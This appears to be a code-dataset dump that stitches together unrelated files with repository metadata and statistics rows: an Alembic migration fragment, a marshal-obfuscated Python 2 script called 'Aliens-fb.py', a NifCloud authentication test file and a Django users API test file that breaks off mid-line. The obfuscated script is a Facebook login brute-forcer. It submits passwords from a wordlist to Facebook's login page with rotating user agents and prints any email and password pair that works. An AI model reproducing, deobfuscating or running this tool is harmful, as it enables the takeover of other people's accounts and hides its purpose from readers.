existing_nullable=True) op.alter_column('document_type', 'document_type', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) op.alter_column('document', 'file_name', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=1024), existing_nullable=True) op.alter_column('document', 'comment', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=1024), existing_nullable=True) op.alter_column('attendee_type', 'attendee_type', existing_type=sa.String(length=10485760), type_=sa.VARCHAR(length=256), existing_nullable=True) # ### end Alembic commands ###
46.881279
79
0.628811
1,092
10,267
5.627289
0.076007
0.093735
0.101546
0.148413
0.959479
0.956062
0.950203
0.950203
0.950203
0.950203
0
0.074719
0.262199
10,267
218
80
47.09633
0.736502
0.028733
0
0.95
0
0
0.165677
0.065425
0
0
0
0
0
1
0.01
false
0
0.01
0
0.02
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b54ab8d19d27b78434fa2c13f7bde3edfc3130c7
9,361
py
Python
Aliens-fb.py
IBRAHIMTEEEH/hack-ibrahim-teguig
9961105f34f180f667af674865159d2c621dce12
[ "Apache-2.0" ]
null
null
null
Aliens-fb.py
IBRAHIMTEEEH/hack-ibrahim-teguig
9961105f34f180f667af674865159d2c621dce12
[ "Apache-2.0" ]
null
null
null
Aliens-fb.py
IBRAHIMTEEEH/hack-ibrahim-teguig
9961105f34f180f667af674865159d2c621dce12
[ "Apache-2.0" ]
null
null
null
import marshal exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00@\x00\x00\x00sh\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00e\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01d\x03\x00Z\x02\x00d\x04\x00Z\x03\x00d\x05\x00Z\x04\x00d\x06\x00Z\x05\x00d\x07\x00Z\x06\x00d\x08\x00Z\x07\x00d\t\x00Z\x08\x00e\x03\x00GHe\x02\x00GHd\n\x00j\t\x00e\x02\x00e\x03\x00e\x02\x00e\x03\x00e\x08\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00e\x04\x00e\x02\x00d\x0b\x00\x83\x15\x00Z\n\x00e\n\x00GHd\x00\x00d\x01\x00l\x0b\x00Z\x0b\x00d\x00\x00d\x01\x00l\x0c\x00Z\x0c\x00d\x00\x00d\x01\x00l\r\x00Z\r\x00d\x00\x00d\x01\x00l\x0e\x00Z\x0e\x00d\x0c\x00Z\x0f\x00d\r\x00Z\x10\x00d\x0e\x00Z\x11\x00d\x0f\x00Z\x12\x00d\x10\x00Z\x13\x00d\x11\x00Z\x14\x00d\x12\x00Z\x15\x00e\x16\x00e\x17\x00d\x13\x00\x83\x01\x00\x83\x01\x00Z\x18\x00e\x16\x00e\x17\x00d\x14\x00\x83\x01\x00\x83\x01\x00Z\x19\x00d\x15\x00Z\x1a\x00d\x1d\x00g\x01\x00Z\x1b\x00d\x18\x00\x84\x00\x00Z\x1c\x00d\x19\x00\x84\x00\x00Z\x1d\x00d\x1a\x00\x84\x00\x00Z\x1e\x00d\x1b\x00\x84\x00\x00Z\x1f\x00e \x00d\x1c\x00k\x02\x00rd\x01e\x1c\x00\x83\x00\x00\x01n\x00\x00d\x01\x00S(\x1e\x00\x00\x00i\xff\xff\xff\xffNsD\x00\x00\x00termux-open-url "https://www.facebook.com/groups/1864140940265166/" s\x0c\x00\x00\x00\x1b[0m\x1b[01;36ms\x07\x00\x00\x00\x1b[1;32ms\x07\x00\x00\x00\x1b[1;33ms\x07\x00\x00\x00\x1b[1;34ms\x07\x00\x00\x00\x1b[1;35ms\x07\x00\x00\x00\x1b[1;36ms\x14\x00\x00\x00@:[1864140940265166]st\x02\x00\x00\n \n hi hacker mohamed Pro\n o o\n \\ /\n \\ /\n :-\'""\'-:\n .-\' ____ `-.\n( ( (_()_) ) )\n `-. ^^ .-\'\n `._==_.\'\n __)(___\n\x1b[95m _ _ _ _ _ _ _ _ _ \n / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ / \\ \n ( a | l | i | e | n | s | - | f | b )\n \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \\_/ \n\x1b[00mHACKER BY MOHAMED LKAMILI PRO\t\n\x1b[95mFACEBOOK ADMIN :: https://www.facebook.com/profile.php?id=1007601942\n\n\n======================= \xef\xba\xb0\xef\xbb\xa8\xef\xbb\xb4\xef\xbb\x9f\xef\xbb\xb9 \xef\xba\x94\xef\xbb\xa4\xef\xbb\x88\xef\xbb\xa8\xef\xbb\xa3++++++++++++++++++++++\n+++++++++++++++++++++=+ \xef\xba\xb0\xef\xbb\xa8\xef\xbb\xb4\xef\xbb\x9f\xef\xbb\xb9 \xef\xba\x94\xef\xbb\xa4\xef\xbb\x88\xef\xbb\xa8\xef\xbb\xa3=======================\n\n\xef\xba\xa9\xef\xbb\xad\xef\xba\xaa\xef\xba\xa3 \xef\xbb\xbc\xef\xba\x91 \xef\xba\xa9\xef\xbb\xae\xef\xbb\xa8\xef\xba\x9f\n\ns\x14\x00\x00\x00Welcome To @Termux@ s\n\x00\x00\x00\x1b[1;37;40ms\n\x00\x00\x00\x1b[1;31;40ms\n\x00\x00\x00\x1b[1;32;40ms\n\x00\x00\x00\x1b[1;33;40ms\n\x00\x00\x00\x1b[1;34;40ms\n\x00\x00\x00\x1b[1;35;40ms\n\x00\x00\x00\x1b[1;36;40ms@\x00\x00\x00\x1b[93m++++++++++++ \x1b[94mId \xef\xba\x94\xef\xbb\xb4\xef\xba\xa4\xef\xba\xbf \x1b[91m =================> s\\\x00\x00\x00\x1b[93m++++++++++ \x1b[94m \xef\xba\x95\xef\xba\x8d\xef\xba\xa9\xef\xba\xad\xef\xbb\xae\xef\xba\xb3\xef\xba\x8e\xef\xba\x92\xef\xbb\x9f \xef\xba\x94\xef\xbb\xa4\xef\xba\x8b\xef\xba\x8e\xef\xbb\x97 \x1b[91m =================> s2\x00\x00\x00https://www.facebook.com/login.php?login_attempt=1sD\x00\x00\x00Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0se\x00\x00\x00Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1c\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s\x8c\x00\x00\x00t\x00\x00j\x01\x00\x83\x00\x00a\x02\x00t\x03\x00j\x04\x00\x83\x00\x00}\x00\x00t\x02\x00j\x05\x00t\x06\x00\x83\x01\x00\x01t\x02\x00j\x07\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\t\x00|\x00\x00\x83\x01\x00\x01t\x02\x00j\n\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\x0b\x00t\x08\x00\x83\x01\x00\x01t\x02\x00j\x0c\x00t\x00\x00j\r\x00j\x0e\x00\x83\x00\x00d\x01\x00d\x02\x00\x83\x01\x01\x01t\x0f\x00\x83\x00\x00\x01t\x10\x00\x83\x00\x00\x01d\x03\x00GHd\x00\x00S(\x04\x00\x00\x00Nt\x08\x00\x00\x00max_timei\x01\x00\x00\x00s<\x00\x00\x00[PRO]....... \xef\xba\xa9\xef\xba\xad\xef\xbb\xae\xef\xba\xb3\xef\xba\x8e\xef\xba\x92\xef\xbb\x9f \xef\xba\xaa\xef\xba\x9f\xef\xbb\xae\xef\xbb\xb3\xef\xbb\xbb .........(\x11\x00\x00\x00t\t\x00\x00\x00mechanizet\x07\x00\x00\x00Browsert\x02\x00\x00\x00brt\t\x00\x00\x00cookielibt\x0c\x00\x00\x00LWPCookieJart\x11\x00\x00\x00set_handle_robotst\x05\x00\x00\x00Falset\x13\x00\x00\x00set_handle_redirectt\x04\x00\x00\x00Truet\r\x00\x00\x00set_cookiejart\x10\x00\x00\x00set_handle_equivt\x12\x00\x00\x00set_handle_referert\x12\x00\x00\x00set_handle_refresht\x05\x00\x00\x00_httpt\x14\x00\x00\x00HTTPRefreshProcessort\x07\x00\x00\x00welcomet\x06\x00\x00\x00search(\x01\x00\x00\x00t\x02\x00\x00\x00cj(\x00\x00\x00\x00(\x00\x00\x00\x00t\x00\x00\x00\x00t\x04\x00\x00\x00mainK\x00\x00\x00s\x16\x00\x00\x00\x00\x02\x0c\x01\x0c\x01\r\x01\r\x01\r\x01\r\x01\r\x01\x1c\x01\x07\x01\x07\x01c\x01\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x07\x01\x00\x00t\x00\x00j\x01\x00j\x02\x00d\x01\x00j\x03\x00|\x00\x00\x83\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x04\x00\x83\x00\x00\x01d\x02\x00t\x05\x00j\x06\x00t\x07\x00\x83\x01\x00f\x02\x00g\x01\x00t\x08\x00_\t\x00t\x08\x00j\n\x00t\x0b\x00\x83\x01\x00}\x01\x00t\x08\x00j\x0c\x00d\x03\x00d\x04\x00\x83\x00\x01\x01t\r\x00t\x08\x00j\x0e\x00d\x05\x00<|\x00\x00t\x08\x00j\x0e\x00d\x06\x00<t\x08\x00j\x0f\x00\x83\x00\x00}\x02\x00|\x02\x00j\x10\x00\x83\x00\x00}\x03\x00|\x03\x00t\x0b\x00k\x03\x00r\x03\x01d\x07\x00|\x03\x00k\x07\x00r\x03\x01t\x11\x00d\x08\x00\x17t\r\x00\x17d\t\x00j\x03\x00|\x00\x00\x83\x01\x00\x17t\x12\x00\x17GHt\x13\x00d\n\x00\x83\x01\x00}\x04\x00|\x04\x00d\x0b\x00k\x02\x00r\xea\x00t\x14\x00\x83\x00\x00\x01q\x03\x01|\x04\x00d\x0c\x00k\x02\x00r\x03\x01t\x15\x00\x83\x00\x00\x01q\x03\x01n\x00\x00d\x00\x00S(\r\x00\x00\x00NsD\x00\x00\x00\r\x1b[95m=========[P\xc2\xaeO]======= \xef\xbb\xa6\xef\xbb\xb4\xef\xbb\xa4\xef\xba\xa8\xef\xba\x97\x1b[4m ::::::::::::::> {}\ns\n\x00\x00\x00User-agentt\x02\x00\x00\x00nri\x00\x00\x00\x00t\x05\x00\x00\x00emailt\x04\x00\x00\x00passt\r\x00\x00\x00login_attempts,\x00\x00\x00\n\n\x1b[27m======================> Email/Phone: s\r\x00\x00\x00 Password: {}s*\x00\x00\x00\x1b[1m \xd8\x9f\xd8\x9f \xef\xba\x94\xef\xbb\xb4\xef\xba\xa4\xef\xba\xbf \xef\xbb\x86\xef\xbb\x94\xef\xba\xa3\xd8\x9f\xd8\x9f (y/n)t\x01\x00\x00\x00yt\x01\x00\x00\x00n(\x16\x00\x00\x00t\x03\x00\x00\x00syst\x06\x00\x00\x00stdoutt\x05\x00\x00\x00writet\x06\x00\x00\x00formatt\x05\x00\x00\x00flusht\x06\x00\x00\x00randomt\x06\x00\x00\x00choicet\n\x00\x00\x00useragentsR\x03\x00\x00\x00t\n\x00\x00\x00addheaderst\x04\x00\x00\x00opent\x05\x00\x00\x00logint\x0b\x00\x00\x00select_formR\x16\x00\x00\x00t\x04\x00\x00\x00formt\x06\x00\x00\x00submitt\x06\x00\x00\x00geturlt\x02\x00\x00\x00Bgt\x01\x00\x00\x00Wt\t\x00\x00\x00raw_inputt\x04\x00\x00\x00exitt\x05\x00\x00\x00intro(\x05\x00\x00\x00t\x08\x00\x00\x00passwordt\x04\x00\x00\x00sitet\x03\x00\x00\x00subt\x03\x00\x00\x00logt\x01\x00\x00\x00m(\x00\x00\x00\x00(\x00\x00\x00\x00R\x13\x00\x00\x00t\x05\x00\x00\x00brute[\x00\x00\x00s \x00\x00\x00\x00\x01\x19\x01\r\x01\x1b\x01\x0f\x01\x10\x01\r\x01\r\x01\x0c\x01\x0c\x01\x18\x01\x1e\x01\x0c\x01\x0c\x01\n\x01\x0c\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s@\x00\x00\x00t\x00\x00t\x01\x00d\x01\x00\x83\x02\x00}\x00\x00x*\x00|\x00\x00D]"\x00a\x02\x00t\x02\x00j\x03\x00d\x02\x00d\x03\x00\x83\x02\x00a\x02\x00t\x04\x00t\x02\x00\x83\x01\x00\x01q\x16\x00Wd\x00\x00S(\x04\x00\x00\x00Nt\x01\x00\x00\x00rs\x01\x00\x00\x00\nR\x13\x00\x00\x00(\x05\x00\x00\x00R$\x00\x00\x00t\x0c\x00\x00\x00passwordlistR/\x00\x00\x00t\x07\x00\x00\x00replaceR4\x00\x00\x00(\x01\x00\x00\x00t\t\x00\x00\x00passwords(\x00\x00\x00\x00(\x00\x00\x00\x00R\x13\x00\x00\x00R\x11\x00\x00\x00o\x00\x00\x00s\x08\x00\x00\x00\x00\x02\x0f\x01\r\x01\x12\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x1f\x00\x00\x00t\x00\x00t\x01\x00d\x01\x00\x83\x02\x00}\x00\x00|\x00\x00j\x02\x00\x83\x00\x00}\x00\x00d\x00\x00S(\x02\x00\x00\x00NR5\x00\x00\x00(\x03\x00\x00\x00R$\x00\x00\x00R6\x00\x00\x00t\t\x00\x00\x00readlines(\x01\x00\x00\x00t\x05\x00\x00\x00total(\x00\x00\x00\x00(\x00\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00x\x00\x00\x00s\x04\x00\x00\x00\x00\x01\x0f\x01t\x08\x00\x00\x00__main__(\x02\x00\x00\x00sD\x00\x00\x00Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0se\x00\x00\x00Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1(!\x00\x00\x00t\x02\x00\x00\x00ost\x06\x00\x00\x00systemt\x01\x00\x00\x00At\x01\x00\x00\x00Bt\x01\x00\x00\x00Ct\x01\x00\x00\x00Dt\x01\x00\x00\x00Et\x01\x00\x00\x00Ft\x03\x00\x00\x00grbR\x1e\x00\x00\x00t\x02\x00\x00\x00okR\x1b\x00\x00\x00R\x01\x00\x00\x00R\x04\x00\x00\x00R \x00\x00\x00R+\x00\x00\x00t\x02\x00\x00\x00BrR*\x00\x00\x00t\x01\x00\x00\x00Yt\x02\x00\x00\x00Bbt\x02\x00\x00\x00Bmt\x02\x00\x00\x00Bct\x03\x00\x00\x00strR,\x00\x00\x00R\x16\x00\x00\x00R6\x00\x00\x00R%\x00\x00\x00R"\x00\x00\x00R\x14\x00\x00\x00R4\x00\x00\x00R\x11\x00\x00\x00R\x10\x00\x00\x00t\x08\x00\x00\x00__name__(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00R\x13\x00\x00\x00t\x08\x00\x00\x00<module>\x05\x00\x00\x00sB\x00\x00\x00\x0c\x01\r\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x05\x01\x05\x1aK\x01\x05\x04\x0c\x01\x0c\x01\x0c\x01\x0c\x02\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x07\x12\x03\x12\x03\x06\x03\t\x02\t\x10\t\x14\t\t\t\x03\x0c\x01')
4,680.5
9,346
0.722252
2,004
9,361
3.344311
0.143214
0.273948
0.128917
0.06983
0.472844
0.37168
0.269323
0.229335
0.209191
0.188899
0
0.347907
0.025104
9,361
2
9,346
4,680.5
0.386478
0
0
0
0
1
0.345866
0.31521
0
0
0
0
0
0
null
null
0.5
0.5
null
null
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
0
0
null
0
0
0
0
1
0
0
1
1
0
0
0
0
10
b5a80e1c851a4dbf960133db3411bcf5d140860b
4,839
py
Python
tests/test_nifcloud_auth.py
NagasawaRiow/py_nifcloud
cfb937a32a1214a554ba956d23a4131a56f65641
[ "MIT" ]
4
2017-10-29T12:17:46.000Z
2017-11-04T16:55:14.000Z
tests/test_nifcloud_auth.py
NagasawaRiow/py_nifcloud
cfb937a32a1214a554ba956d23a4131a56f65641
[ "MIT" ]
9
2017-10-30T04:46:33.000Z
2020-03-31T03:23:25.000Z
tests/test_nifcloud_auth.py
NagasawaRiow/py_nifcloud
cfb937a32a1214a554ba956d23a4131a56f65641
[ "MIT" ]
3
2017-10-29T12:54:30.000Z
2018-09-24T10:14:46.000Z
# -*- encoding:utf-8 -*- import unittest import copy import freezegun from botocore.credentials import Credentials from botocore.awsrequest import AWSRequest from py_nifcloud.auth import NifCloudSigV2Auth, NifCloudSigV1Auth, NifCloudSigV0Auth @freezegun.freeze_time('2018-01-01 00:00:00') class TestNifCloudSigV2Auth(unittest.TestCase): @classmethod def setUpClass(cls): # ダミーの認証情報 cls.ACCESS_KEY_ID = "dummy_access_key_id" cls.SECRET_ACCESS_KEY = "dummy_secret_access_key" cls.endpoint_url = "https://computing.jp-east-1.api.cloud.nifty.com/api" cls.params = { "Action": "DescribeRegions", } # 認証情報を生成 cls.CREDENTIALS = Credentials(cls.ACCESS_KEY_ID, cls.SECRET_ACCESS_KEY) cls.request = AWSRequest(method="GET", url=cls.endpoint_url, data=cls.params, headers={}) sut = NifCloudSigV2Auth(credentials=cls.CREDENTIALS) # request情報更新 sut.add_auth(cls.request) def test_add_auth_url(self): self.assertEqual(self.request.url, self.endpoint_url) def test_add_auth_data_action(self): self.assertEqual(self.request.data["Action"], self.params["Action"]) def test_add_auth_data_auth_params(self): # 認証パラメータのみ取り出し auth_params = copy.deepcopy(self.request.data) del auth_params["Action"] self.assertEqual(auth_params, { "AccessKeyId": "dummy_access_key_id", "SignatureVersion": "2", "SignatureMethod": "HmacSHA256", "Timestamp": "2018-01-01T00:00:00Z", "Signature": "CVQW+ZFrPKunsmCsa7nILBiIH24nCR9kA9K31VWkzDU=" }) @freezegun.freeze_time('2018-01-01 00:00:00') class TestNifCloudSigV1Auth(unittest.TestCase): @classmethod def setUpClass(cls): # ダミーの認証情報 cls.ACCESS_KEY_ID = "dummy_access_key_id" cls.SECRET_ACCESS_KEY = "dummy_secret_access_key" cls.endpoint_url = "https://computing.jp-east-1.api.cloud.nifty.com/api" cls.params = { "Action": "DescribeRegions", } # 認証情報を生成 cls.CREDENTIALS = Credentials(cls.ACCESS_KEY_ID, cls.SECRET_ACCESS_KEY) cls.request = AWSRequest(method="GET", url=cls.endpoint_url, data=cls.params, headers={}) sut = NifCloudSigV1Auth(credentials=cls.CREDENTIALS) # request情報更新 sut.add_auth(cls.request) def test_add_auth_url(self): self.assertEqual(self.request.url, self.endpoint_url) def test_add_auth_data_action(self): self.assertEqual(self.request.data["Action"], self.params["Action"]) def test_add_auth_data_auth_params(self): # 認証パラメータのみ取り出し auth_params = copy.deepcopy(self.request.data) del auth_params["Action"] self.assertEqual(auth_params, { "AccessKeyId": "dummy_access_key_id", "SignatureVersion": "1", "SignatureMethod": "HmacSHA1", "Timestamp": "2018-01-01T00:00:00Z", "Signature": "GxXA64NHl5Xn6yMffVB8FSa0jlk=" }) @freezegun.freeze_time('2018-01-01 00:00:00') class TestNifCloudSigV0Auth(unittest.TestCase): @classmethod def setUpClass(cls): # ダミーの認証情報 cls.ACCESS_KEY_ID = "dummy_access_key_id" cls.SECRET_ACCESS_KEY = "dummy_secret_access_key" cls.endpoint_url = "https://computing.jp-east-1.api.cloud.nifty.com/api" cls.params = { "Action": "DescribeRegions", } # 認証情報を生成 cls.CREDENTIALS = Credentials(cls.ACCESS_KEY_ID, cls.SECRET_ACCESS_KEY) cls.request = AWSRequest(method="GET", url=cls.endpoint_url, data=cls.params, headers={}) sut = NifCloudSigV0Auth(credentials=cls.CREDENTIALS) # request情報更新 sut.add_auth(cls.request) def test_add_auth_url(self): self.assertEqual(self.request.url, self.endpoint_url) def test_add_auth_data_action(self): self.assertEqual(self.request.data["Action"], self.params["Action"]) def test_add_auth_data_auth_params(self): # 認証パラメータのみ取り出し auth_params = copy.deepcopy(self.request.data) del auth_params["Action"] self.assertEqual(auth_params, { "AccessKeyId": "dummy_access_key_id", "SignatureVersion": "0", "SignatureMethod": "HmacSHA1", "Timestamp": "2018-01-01T00:00:00Z", "Signature": "KjdQ0pQy4I0M8eRE4Qpx9Qs58cs=" })
35.321168
97
0.606324
502
4,839
5.621514
0.161355
0.066974
0.046775
0.044649
0.843373
0.843373
0.843373
0.831325
0.831325
0.790928
0
0.036458
0.285803
4,839
136
98
35.580882
0.780093
0.031205
0
0.731183
0
0
0.189987
0.036157
0
0
0
0
0.096774
1
0.129032
false
0
0.064516
0
0.225806
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a931cf6afa99a78429bfcc713df5a4596946bf1e
107,298
py
Python
poem/Poem/api/tests/test_users.py
ARGOeu/poem-react-ui
f21ceddf53471fd947d8a296d629782e61489b91
[ "Apache-2.0" ]
null
null
null
poem/Poem/api/tests/test_users.py
ARGOeu/poem-react-ui
f21ceddf53471fd947d8a296d629782e61489b91
[ "Apache-2.0" ]
139
2020-04-06T09:22:16.000Z
2021-08-02T06:39:22.000Z
poem/Poem/api/tests/test_users.py
vrdel/poem-2
42672fc066b71b4958168d8031e1da0043ac6d1f
[ "Apache-2.0" ]
3
2019-07-10T09:37:38.000Z
2020-04-02T10:48:38.000Z
import datetime from collections import OrderedDict from Poem.api import views_internal as views from Poem.poem import models as poem_models from Poem.tenants.models import Tenant from Poem.users.models import CustUser from django_tenants.test.cases import TenantTestCase from django_tenants.test.client import TenantRequestFactory from django_tenants.utils import schema_context, get_public_schema_name, \ get_tenant_domain_model from rest_framework import status from rest_framework.test import force_authenticate from .utils_test import encode_data class ListUsersAPIViewTests(TenantTestCase): def setUp(self): self.factory = TenantRequestFactory(self.tenant) self.view = views.ListUsers.as_view() self.url = '/api/v2/internal/users/' self.tenant_user1 = CustUser.objects.create_user( username='testuser', first_name='Test', last_name='User', email='testuser@example.com', date_joined=datetime.datetime(2015, 1, 1, 0, 0, 0), ) self.tenant_user2 = CustUser.objects.create_user( username='another_user', first_name='Another', last_name='User', email='otheruser@example.com', is_superuser=True, date_joined=datetime.datetime(2015, 1, 2, 0, 0, 0) ) poem_models.UserProfile.objects.create(user=self.tenant_user1) poem_models.UserProfile.objects.create(user=self.tenant_user2) with schema_context(get_public_schema_name()): self.super_tenant = Tenant.objects.create( name='public', schema_name=get_public_schema_name() ) get_tenant_domain_model().objects.create( domain='public', tenant=self.super_tenant, is_primary=True ) self.user1 = CustUser.objects.create_user( username='Alan_Ford', first_name='Alan', last_name='Ford', email='alan.ford@tnt.com', date_joined=datetime.datetime(2019, 1, 1, 0, 0, 0) ) self.user2 = CustUser.objects.create_user( username='Number1', first_name='Number', last_name='One', email='num1@tnt.com', is_superuser=True, date_joined=datetime.datetime(1970, 1, 1, 0, 0, 0) ) self.groupofmetrics = poem_models.GroupOfMetrics.objects.create( name='Metric1' ) self.groupofmetricprofiles = \ poem_models.GroupOfMetricProfiles.objects.create(name='MP1') self.groupofaggregations = \ poem_models.GroupOfAggregations.objects.create(name='Aggr1') def test_get_users_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual( response.data, [ { 'first_name': 'Alan', 'last_name': 'Ford', 'username': 'Alan_Ford', 'is_active': True, 'is_superuser': False, 'email': 'alan.ford@tnt.com', 'date_joined': '2019-01-01 00:00:00', 'last_login': '', 'pk': self.user1.pk }, { 'first_name': 'Number', 'last_name': 'One', 'username': 'Number1', 'is_active': True, 'is_superuser': True, 'email': 'num1@tnt.com', 'date_joined': '1970-01-01 00:00:00', 'last_login': '', 'pk': self.user2.pk } ] ) def test_get_users_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url) request.tenant = self.super_tenant force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual( response.data, [ { 'first_name': 'Alan', 'last_name': 'Ford', 'username': 'Alan_Ford', 'is_active': True, 'is_superuser': False, 'email': 'alan.ford@tnt.com', 'date_joined': '2019-01-01 00:00:00', 'last_login': '', 'pk': self.user1.pk } ] ) def test_get_users_tenant_superuser(self): request = self.factory.get(self.url) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual( response.data, [ { 'first_name': 'Another', 'last_name': 'User', 'username': 'another_user', 'is_active': True, 'is_superuser': True, 'email': 'otheruser@example.com', 'date_joined': '2015-01-02 00:00:00', 'last_login': '', 'pk': self.tenant_user2.pk }, { 'first_name': 'Test', 'last_name': 'User', 'username': 'testuser', 'is_active': True, 'is_superuser': False, 'email': 'testuser@example.com', 'date_joined': '2015-01-01 00:00:00', 'last_login': '', 'pk': self.tenant_user1.pk } ] ) def test_get_users_tenant_user(self): request = self.factory.get(self.url) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual( response.data, [ { 'first_name': 'Test', 'last_name': 'User', 'username': 'testuser', 'is_active': True, 'is_superuser': False, 'email': 'testuser@example.com', 'date_joined': '2015-01-01 00:00:00', 'last_login': '', 'pk': self.tenant_user1.pk } ] ) def test_get_users_permission_denied_in_case_no_authorization(self): request = self.factory.get(self.url) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_get_user_by_username_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url + 'Alan_Ford') force_authenticate(request, user=self.user2) response = self.view(request, 'Alan_Ford') self.assertEqual( response.data, { 'first_name': 'Alan', 'last_name': 'Ford', 'username': 'Alan_Ford', 'is_active': True, 'is_superuser': False, 'email': 'alan.ford@tnt.com', 'date_joined': '2019-01-01 00:00:00', 'last_login': '', 'pk': self.user1.pk } ) def test_get_user_by_username_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url + 'Alan_Ford') force_authenticate(request, user=self.user1) response = self.view(request, 'Alan_Ford') self.assertEqual( response.data, { 'first_name': 'Alan', 'last_name': 'Ford', 'username': 'Alan_Ford', 'is_active': True, 'is_superuser': False, 'email': 'alan.ford@tnt.com', 'date_joined': '2019-01-01 00:00:00', 'last_login': '', 'pk': self.user1.pk } ) def test_get_user_by_username_sp_user_another_username(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url + 'Number1') force_authenticate(request, user=self.user1) response = self.view(request, 'Number1') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual( response.data['detail'], 'You do not have permission to fetch users other than yourself.' ) def test_get_user_by_username_tenant_superuser(self): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.tenant_user2) response = self.view(request, 'testuser') self.assertEqual( response.data, { 'first_name': 'Test', 'last_name': 'User', 'username': 'testuser', 'is_active': True, 'is_superuser': False, 'email': 'testuser@example.com', 'date_joined': '2015-01-01 00:00:00', 'last_login': '', 'pk': self.tenant_user1.pk } ) def test_get_user_by_username_tenant_user(self): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.tenant_user1) response = self.view(request, 'testuser') self.assertEqual( response.data, { 'first_name': 'Test', 'last_name': 'User', 'username': 'testuser', 'is_active': True, 'is_superuser': False, 'email': 'testuser@example.com', 'date_joined': '2015-01-01 00:00:00', 'last_login': '', 'pk': self.tenant_user1.pk } ) def test_get_user_by_username_tenant_user_another_username(self): request = self.factory.get(self.url + 'another_user') force_authenticate(request, user=self.tenant_user1) response = self.view(request, 'another_user') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual( response.data['detail'], 'You do not have permission to fetch users other than yourself.' ) def test_get_user_by_username_if_username_does_not_exist_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.user2) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_get_user_by_username_if_username_does_not_exist_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.user1) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual( response.data['detail'], 'You do not have permission to fetch users other than yourself.' ) def test_get_user_by_username_if_username_does_not_exist_tnant_sprusr(self): request = self.factory.get(self.url + 'Alan_Ford') force_authenticate(request, user=self.tenant_user2) response = self.view(request, 'Alan_Ford') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_get_user_by_username_if_username_does_not_exist_tenant_user(self): request = self.factory.get(self.url + 'Alan_Ford') force_authenticate(request, user=self.tenant_user1) response = self.view(request, 'Alan_Ford') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual( response.data['detail'], 'You do not have permission to fetch users other than yourself.' ) def test_put_user_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'testuser2', 'first_name': 'Testing', 'last_name': 'Newuser', 'email': 'testuser@test.com', 'is_superuser': True, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) user = CustUser.objects.get(id=self.user1.id) self.assertEqual(user.username, 'testuser2') self.assertEqual(user.first_name, 'Testing') self.assertEqual(user.last_name, 'Newuser') self.assertEqual(user.email, 'testuser@test.com') self.assertTrue(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_sp_user(self): with 